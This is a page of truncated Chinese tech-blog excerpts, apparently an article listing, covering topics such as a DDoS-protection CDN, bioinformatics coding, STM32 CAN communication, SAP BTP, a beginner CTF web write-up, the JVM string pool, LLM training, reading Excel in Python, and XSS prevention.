速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

生信代码入门:从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域,结合了生物学、计算机科学和统计学。随着高通量测序技术的发展,海量的生物数据需要通过编程来进行处理和分析。因此,掌握生信编程技能,成为每一个生物信息学研究者的必备能力。 生信代码入门,旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用

BIRT--商业智能和报表工具,从零开始

1.简介 BIRT (Business Intelligence and Reporting Tools), 是为 Web 应用程序开发的基于 Eclipse 的开源报表系统,特别之处在于它是以 Java 和 JavaEE 为基础。BIRT 有两个主要组件:基于 Eclipse 的报表设计器,以及部署到应用服务器上的运行时组件。 2.下载 官网下载网址:http://download.ec

STM32 HAL CAN通讯 实操

1、简介 相比于串口通讯,对于刚接触CAN通讯的小白来说,CAN通讯相对复杂,看各种视频、帖子理论,总是一知半解。本次通过傻瓜式操作,先实现CAN通讯的交互,以提高小白的信心,也便于自己复习观看。本次以STM32CubeMX进行初始化配置,通过Keil 5软件进行软件设计,通过CAN盒实现进行数据的交互。该流程实际以STM32F0、F1、F3、F4、F7实测好用(理论上都适用),这三种型号单片机

SAP学习笔记 - 开发02 - BTP实操流程(账号注册,BTP控制台,BTP集成开发环境搭建)

上一章讲了 BAPI的概念,以及如何调用SAP里面的既存BAPI。 SAP学习笔记 - 开发01 - BAPI是什么?通过界面和ABAP代码来调用BAPI-CSDN博客 本章继续讲开发相关的内容,主要就是BTP的实际操作流程,比如账号注册,登录,BTP集成开发环境的搭建这方面。 目录 1,账号注册 2,BTP登录URL 3,如何在BTP上进行开发? 以下是详细内容。 1,账

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

从零开始学习JVM(七)- StringTable字符串常量池

1 概述 String应该是Java使用最多的类吧,很少有Java程序没有使用到String的。在Java中创建对象是一件挺耗费性能的事,而且我们又经常使用相同的String对象,那么创建这些相同的对象不是白白浪费性能吗。所以就有了StringTable这一特殊的存在,StringTable叫做字符串常量池,用于存放字符串常量,这样当我们使用相同的字符串对象时,就可以直接从StringTable

从零开始构建大语言模型并进行微调:全面指南

要从0开始搭建并训练一个大语言模型(LLM),涉及到多个步骤和资源,包括理论理解、工具使用、数据准备、模型训练与微调。以下是一个从基础到应用的指南,帮助你理解并逐步实现这一目标。 1. 理解基础概念 在开始搭建大语言模型之前,了解以下基本概念至关重要: 生成式AI:通过大语言模型生成自然语言文本,例如GPT、BERT等。机器学习:通过数据训练模型,使其具备从数据中学习规律的能力。深度学习:机

如何使用 Python 读取 Excel 文件:从零开始的超详细教程

“日出东海落西山 愁也一天 喜也一天 遇事不钻牛角尖” 文章目录 前言文章有误敬请斧正 不胜感恩!||Day03为什么要用 Python 读取 Excel 文件?准备工作:安装所需工具安装 Python安装 Pandas安装 openpyxl 使用 Pandas 读取 Excel 文件什么是 Pandas?读取 Excel 文件的简单示例查看数据的前几行选择特定工作表只读取部分列跳过

Web安全之XSS跨站脚本攻击:如何预防及解决

1. 什么是XSS注入 XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,通过注入恶意代码(通常是JavaScript)到目标网站的网页中,以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息(如Cookie、会话令牌)或控制用户浏览器的行为,进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS